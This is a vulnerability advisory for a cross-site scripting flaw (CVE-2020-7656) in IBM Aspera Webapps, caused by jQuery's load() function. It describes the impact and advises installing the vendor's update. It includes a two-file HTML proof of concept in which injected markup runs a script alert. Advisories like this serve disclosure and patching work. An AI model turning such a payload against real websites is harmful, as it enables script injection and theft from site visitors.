SB2022091317 - XSS in IBM Aspera Webapps
Published: September 13, 2022
Breakdown by Severity
- Low
- Medium
- High
- Critical
Description
This security bulletin contains information about 1 security vulnerability.
1) Cross-site scripting (CVE-ID: CVE-2020-7656)
The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.
The vulnerability exists due to insufficient sanitization of user-supplied data within the load() function. A remote attacker can pass specially crafted HTML code to the application and execute it in browser in security context of the affected website.
Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.
PoC:
index.html:
<html>
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<div id="mydiv"></div>
<script>
$("#mydiv").load('inject.html #himom');
</script>
</body>
</html>inject.html:
<div id="himom"><script>alert('Arbitrary Code Execution');</script ></div> Remediation
Install update from vendor's website.
References
- https://www.ibm.com/blogs/psirt/security-bulletin-ibm-aspera-webapps-are-vulnerable-to-cross-site-scripting-cve-2020-7656/"
- https://www.ibm.com/blogs/psirt/security-bulletin-ibm-aspera-webapps-are-vulnerable-to-cross-site-scripting-cve-2020-7656/</a><br>
- https://www.ibm.com/support/pages/node/6489585<br><br></p>